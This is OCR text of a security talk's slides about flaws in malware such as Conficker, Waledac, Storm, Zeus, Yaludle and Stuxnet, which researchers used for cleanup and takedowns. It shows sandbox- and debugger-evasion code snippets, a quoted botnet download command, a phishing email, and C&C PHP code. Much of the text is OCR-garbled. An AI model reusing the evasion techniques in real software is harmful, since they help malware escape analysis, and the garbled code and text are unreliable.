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malware noun /['mael.wea(.)/

(computing) software developed for the purpose of
causing harm to a computer system,

from mal(icious) + (soft)ware

Source:

fail noun /feil/
an unsuccessful result in a course, test or examination

Example: John got three passes and four fails
in his exams.

Source:

"Fail" is the name of a popular Internet meme where users
superimpose a caption, often the word "fail" or "epic
fail", onto photos or short videos depicting unsuccessful
events or people falling short of expectations.

Source:
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Arms race
analysis vs. evasion

PLAYING CAT AND MOUSE

Sandboxing

* Automated observations of malware behavior

BEREREREEE

Problems with Sandboxing

* Too many samples, too little time
* 10,9 seconds per sample in 2009
* Typical sandboxes time out after 2-10 minutes
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Sandbox Evasion

push BEA6Bh
call Sleep ; Sleep(608008)

Sophisticated sandboxes perform anti-evasion
» Skip over long sleeps
* (Don’t care about altered behavior)

Anti-Anti-Evasion

Evade anti-evasion techniques

Trigger unpacker‘s API call heuristic

int i;

for (i=0; i<1073535333; ++i) {
GetModuleHandle(NULL); // busy waiting

}

Variations to prevent detection

int i;
SOME_WINDOWS_API_FUNCTION();
}

for (i=0; i<LARGE RANDOM VALUE; ++i) { // customized by builder
// customized by builder

Preventing Program Tracing

* Measure how long execution takes

* If code is executed in a debugger, it takes longer due to
single-stepping, tracing, ...

int start = GetCurrentTime();
// do something
int duration = GetCurrentTime() - start;

if (duration > 20)
ExitProcess(0); // or delete harddrive, or ...




FAIL

SYKIPOT

Sykipot

* Not really widespread
* Adobe Flash and Internet Explorer Odays
* Probably a team fuzzing browser software

* Collects information about
infected systems

Sykipot

et start .
net group “comatn admins” /domatn
ist jv

raskise_ A
Inet Tocatgroup adminiscrators
dir c:%e.url /s

systeminfo
rype_c:\boor. ini
time:

500000

* Looking at the code

* Interesting command line parameters

Sykipot

* Patching the code such that it always calls the
remove routine gives us a nice cleanup tool

FAIL again.

CONFICKER




Conficker

* 4 different versions
* Each version removes all previous ones
* Nice, Conficker provides with an uninstall routine!

"I
00873932

00873932 loc_873932:
00873932 1A0 xor ebx, ebx
00873934 100 inc ebx

00873935 1A0 call
0087393A 1A0 call
0087393F 1A0 call

hook_internetget connectedstate
installation

Conficker

* Constructing a Conficker cleanup tool from this
code is trivial

Fake AV

BEST ANTIVIRUS 2011

Best Antivirus 2011

* Best? Fake AV
¢ Includes multiple detections for virtual
environments (evade analysis)

push 1 3 CPUID({ 1 )
call GetCpuld

add esp, 14h

cmp [ebp+var_8], 8

jz short loc_A442EBS

L
- = = r]

mov ecx, 80000006h ; Hypervisor Bit
test ecx, ecx
jz short loc_A442EBS8

+_l L

Best Antivirus 2011

EDX ECX
Bit
Short Feature Shor Feature
0 fpu  Onboard xB7 FPU pri Prascott New Instructions (SSE3)
1 vme |Virtual mode extensions (VIF) pamuigdq [PCLMULQDQ support

29tm  Thermal montitor autematically limits temperature | f16¢ CVT16 instruction set (half-precision) FP support

30 is64 1464 processor emulating x86 rdmd RDRAND (on-chip random number generator) support

31 pbe | Pending Break Enable (PBE# pin) wakeup support | hypervisor |Running an a hypervisor (always 0 on a real CPU)

Best Antivirus 2011

* Let’s translate this into source code

D B ATay (See Tane 33y

Intel® processer Identification and
by itp:/en wikipedia orgwiki CPUID#EAX 3D1:_Processor_Info_and_Feature_Bits

push 1 : cpuine 1 >l

call GetCpuld .

gt &5, Sk GetCpuld(1l) ;

cmp [ebp+uar_8], @

jz short loc_442EB(

FI L

Rl ) if ( ECX == 0x80000000)
mov ecx, B0000000N ;
fest ecx. ecx : Vi .. //vm detected
iz short loc_442EBS }

= 1

{




Best Antivirus 2011

* Will always think it is running in a virtual
environment

Another FAIL

ZEUS DROPZONE

Zeus Dropzone
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Your configuration fe contains settings (root with na password) that correspond o the default MySQL privieged account. Your MySaL
server is running with this default, is open to intrusion, and you really should fix this security hole by setting a password for user roat'.

What'’s in there?

Table Action
botnet list w B ® X

Recoras’  TvPe
a1 MyISAM

«” Showing rows 0 - 0 (1 total, Query toak 0.0004 sec)

Profiling [ Edit ] [ Explain SQL ][ Cre|

‘phoMuAdmIn

et

Show: |[30  row(s) starting from record # [0
in | horizontal &) made and repeat headers after 100 cells
0ptians MD5 hash
id name pass language flag_enabled comments
# X 1 admin | 909eldde36b279e64d3e0207bcfa545¢ |en 1 Default
user
botnet scripts W d B ¥ ¥ X 1 MyISAM
botnet scripts_stat S MK WX 5 MylSAM
cp_users ™SR X 1| MyISAM

Zeus Dropzone

* Password can be , cracked” using rainbow tables,
giving us full control over the botnet

More command & control

YALUDLE




Yaludle

* Banking trojan
* User-mode root-kit built-in
* Man-in-the-browser

* Everything looks
normal (https)

The C&C server

// Gettin all information //Replace symbols

$id = $ GET['id"]; $%d = ereg_replace("<" ”1",5%d);
$httpport = $_GET[ 'httpport']; $id = ereg_replace(">",">",$id);
$socksport = $_GET['socksport’]; $id = ereg_replace("\"","”",$id);
$uptimem = $_GET['uptimem']; $id = ereg_replace(";","",%id);
$uptimeh = $_GET['uptimeh']; $id = ereg_replace("%","",$id);

$param = $_GET['param’]; $param = ereg_replace("<","<",$param);
$ver = $ GET['ver']; $param = ereg_replace(">","»",$param);
$uid = $_GET['uid’]; $param = ereg replace("\"","”",$param);

$wm = $_GET['wm'];

$lang = 5 GET[ lavg'J; $param = ereg_replace(

,$param);

J/$ssip = § GET[ 'ssip+] ; $param = ereg_replace( ", $param);

$ip = getenv("REMOTE_ADDR");

$real_ip = getenv("HTTP_X_FORWARDED_FOR");

$browser = getenv("HTTP_USER_AGENT");
http://software-security.sans.org/blog/2011/06/13/spot-the-vuln-feathers m

Yaludle — do-whatever-you-want C&C

if($real_ip 1= ") {
$fp = fsockopen($real_ip,$socksport, $errno, $errstr, 38);

if(18fp) {

$okk = false;
} else {

$okk = true;

$link = mysql_connect($mysql_host, $mysql_login, $mysql _pass) or die("Could not connec

mysql select db($mysal db, $1ink) or die("Could not select : mysql_error());

|Squer‘y 'SELECT COUNT(*) FROM socks where wid = "'. $uid .’

Fresult = mysql_query(Bquery, $1ink) or die( Could not execite: ™ . mysql_error(});

$count = mysql_result($result, 9);

if ($count == 8) {

I $query = "INSERT INTO socks VALUES ("'.Su ", "'. $real ip . "
Sresult - mysql_query(3query, S1ink) or die( Could not execute:

" $httpport |
Tysal_error())

} else {
$query = 'UPDATE socks SET ip = "'. $real_ip .'", “hport’ = "'. $httpport . "]
$result = mysql_gquery({Jquery, $LInk) or die( Could not execute: © . mysql error())}
$query = "COMMIT';
$result = mysql_query($query, $link) or die("Could not execute: * . mysql_error())

}
mysgl_close($link);
PNOTMAN

Yaludle

* Why just escape 2 / 13 of parameters?

Big, big FAIL

WALEDAC
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Waledac

Active since 2008 (until Feb. 2010)
Propagation on malicious web-sites and by Conficker
Decentralized multi-relay structure

Becoming a relay

Seora phr [edd]
stre
o

1.

2.

Provide full connectivity (HTTP,
SMTP-out, ...) for longer time ~45
min.

Use “-r” cmd-line switch

cx
short loc_402350

50 Vg 9,
Pun  deera'ot feah [NoRMAN]

all __stre

All command layers

application/x-www-form-

urlencoded
Base64 ot A+ san 2 Owied 2010 A

28:50:ab:0c: £4:01 3¢+ 50:15:05:22: 0 63:£6:6
Eeponent. 65537 (0x10001)

The AES Keys

*  Two hardcoded keys

* Exchange of relay/peer - list

*  ClientRSA publickey to server

+  Session keys

« Exchangedwith RSA publickey

*  Session key from server

RSA
RSA
RSA

RSA

Incoming data
Incoming data
Incoming data

Incoming data

is

is

is

is

decrypted to: <9837b5d73b8ae670>
decrypted to: <9837b5d73b8ae670>
decrypted to: <9837b5d73b8ae670>

decrypted to: <9837b5d73b8ae670>
40
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Waledac

* Failed crypto because of failing to initialize the
random number generator
(even with RSA and AES in place)




Command Protocol

Type: 0x2

Length: 337

<lm>

<v>27</v>

<t>notify</t>

<props><p n="ptr">bonn-007.pool.t-online.de</p><p
ip">93.137.206.86</p><p
"dns_ip">216.195.100.100</p><p
"smtp_ip">209.85.201.114</p><p
"http_cache_timeout">3600</p><p
'sender_threads">35</p><p
"sender_queue">2000</p><pn="short_logs">true</p><p
"commands">

<! [CDATA[312|download |http://orldlovelife.com/mon.jpg]]>
</p></props><dns_zones></dns_zones><dns_hosts></dns_hosts>
<socks5></socks5><dos></dos><filter></filter></lm>

[NoRmaN D

How ugly is that?

What’s under his pants?

da 8c 18 35 la b3 47 5d
a8 1f e4 9a 35 al 46 d2

XOR 0Oxed

Injecting Commands

Waledac is currently not available... ©

) Coaching Do o0 Beirets sl O The s ezl it

MICROSOFT
ON THE ISSUES

Cracking Down on Botnets.

This legal and ind) on against Waledac is the first of its kind, but it won't be the last. With this
action, done in cooperation with experts from Shadowserver, the University of WWashington, Symantec,
University of Mannheim, Technical University in Vienna, International Secure Systems Lab, the University of
Bonn and others, we're building on other important work across the global security community to combat
botnets. Stay tuned.

Waledac

* The C&C protocol is designed in a way that allows
for complete takeover of the botnet




Do you understand the code?

* Storm used the KadC library for P2P
* and added XOR ”encryption”

call XOR_with_static_key

lea edi, [esi+OB4h]

push edi ; 1pCriticalSection

Sl [ phis lock provests the d frgm concurrent access

pusi by separate threads eit via mn to

lea pthread_mutex lock(&pd—)mute ;o \\\\\ LJC\ UDFICJ \\\\\\ i
Well, FAIL. push

push P il F\.H'. encx.htj.on here ————- e 1

push _static_key(buf);
THE STORM WORM lea

Push | status = sendto(fd, (cher *)bus, butlen,

call 2 o ddr' *)idestsockaddr,

push (s f{destsockaddr));

mov

call /* I don't understand whac s happening around */

push /,xmz with_static_key(buf)

o B e e ettt */

push {ehpohurrer]

m call XOR_with_static_key m

* Storm 2008:

GET /HTTP/1.1
Host: 127.43.2.101
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windoss NT 5.1; SV1921)

* Easily detectable, but they learned their lesson...
e Storm version 2, April 2010

GET /HTTP/1.1
Host: 127.43.2.101
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windoss NT 5.1; SV1)

You know... FAIL.

CONFICKER AGAIN

Infection Examples




Scanning for Victims

Nul
loc_878639:

11 ds:rand
nou word ptr [ebprarg_ip result], ax
call  ds:rand
cmp byte ptr [ebp+arg_ip_result], OBh
mou word ptr [ebpsarg ip_results2], ax|
ib short loc_378639

next ip lower_word = rand()
next ip upper_word = rand()

* The rand function returns a pseudorandom
integer in the range 0 to RAND_MAX.

Source: http/msdn.microsoft.com/en-us/library/398ax69y% 28V'S.71%29.aspx

- RAND_MAX is defined as the value Ox7fff.

In result, Conficker scans only

less than one quarter

of the whole IPv4 address range!

Source: httpy/msdn.microsoft.com/en-us/lbrary/2dfe3bzd%28V'S.71%29.aspx m
The GeolLocation Hack Going Down?
e Conficker.A checks a potential victim’s GeoLocation kaEsis i i i
o |f a system is located in the Ukraine, it is not attacked
e A public GeolP database is downloaded upon startup
e So we crafted a special database that maps all IP addresses '
on the Ukraine :-)

Staying prominent...

STUXNET

Stuxnet installation

* Some “components” only work on specific
Windows versions

Operating system
Windows 7

Windows Server 2008 R2
Windows Server 2008
windows Vista

Windows Server 2003 R2
Windows Server 2003
Windows XP 64-8it Edition
Windows XP

Windows 2000

Version number

—

5 < Version <6

10



Installer checks version

5<Version<6 < (5 < Version) AND ( Version < 6)

s, [ebpetiersior

mation
sionlnfosize], 11un)

loc_10001185
o [ebpeersioninfornation.dwPlatfornld], VER_PLATFORM WING2 NT

inz  shert fail
o=
3
==
cnp  [ebprters Son_autiajorversion],
jnb 2 Success iF t< 5

If (5 £ Version) OR ( Version < 6) {
install () ;

(=
If (5 £ Version) {
install () ;

cnp [ebp+Uersioninformation_duMajorUersion], 5
jnb short success  ; Success if $< 5
= e |
v
[wew
cnp [ebp+Uersioninformation.duMajorUersion], 6
ia short 1 ; fFail i &
—_—
"] W@
succes
eax, eax [ [xor eax, eax ]
leave inc eax

Stuxnet installer

¢ Installs component on all Windows versions
(even though it is not working)

Guess what.

LANGUAGE PROBLEMS

Micrasoft Internet Explorer

* Hate message
from author for
his friends

Datei Bearbeiten Ansicht Nawigation Nachricht OpenPGP Extras Hilfe
= Betreff: Vorsicht! Ihr PayPal-Kento wurde begrenzt!
Von: Sicherh. 1t i
Datum: 08.08.2009 05:47
An: d

y p:/ .con/contants, ecure-corracted. jpg
<http://20095erviceclientele. eq2. fr/Security/d 1 de=Act EG

sehr geshrter PayPal

achtung! Thr PayPal-Konto wurde bagrenzt!

In Rahwen unserer Mabnahmen zur Sicherheit werden wir regelmakig auf die
Tatigkeit der ecran PayPal zu erfahren. haben Sie vor kurzem kontaktiert
nachden ihs die ein Problem auf Threm Account

auf die Informationen von Thnen aus folgenden Grunden

-Unser Systes hat eine ungewshnliche eine Kreditkarte mit Thres PayPal-Konta

Thr Konto aktivieren
<htp://2009serviceclientele.eq2. fr/sec

Hit besten Grofen,
PayPal Email ID: 5138-8872
Bundesland der Prafung der Konten von PayPal,

L Corp Cop
B

<http

ight 1959-2000 PayPal. Alle Rechte vorbehalien

11



Poison Ivy — Buffer Overflow

Targeted attacks:
From being a victiin to counter attacking
Andrz
S

deres

i Dereszowski
VAL 11
gnalll.eun

March 15, 2010

THERE’S MORE OUT
THERE ...

NORMAN'

Malware G2

" ‘\ — || G2 FRAMEWORK

WEB
INTERFACE

SOFTWARE

12



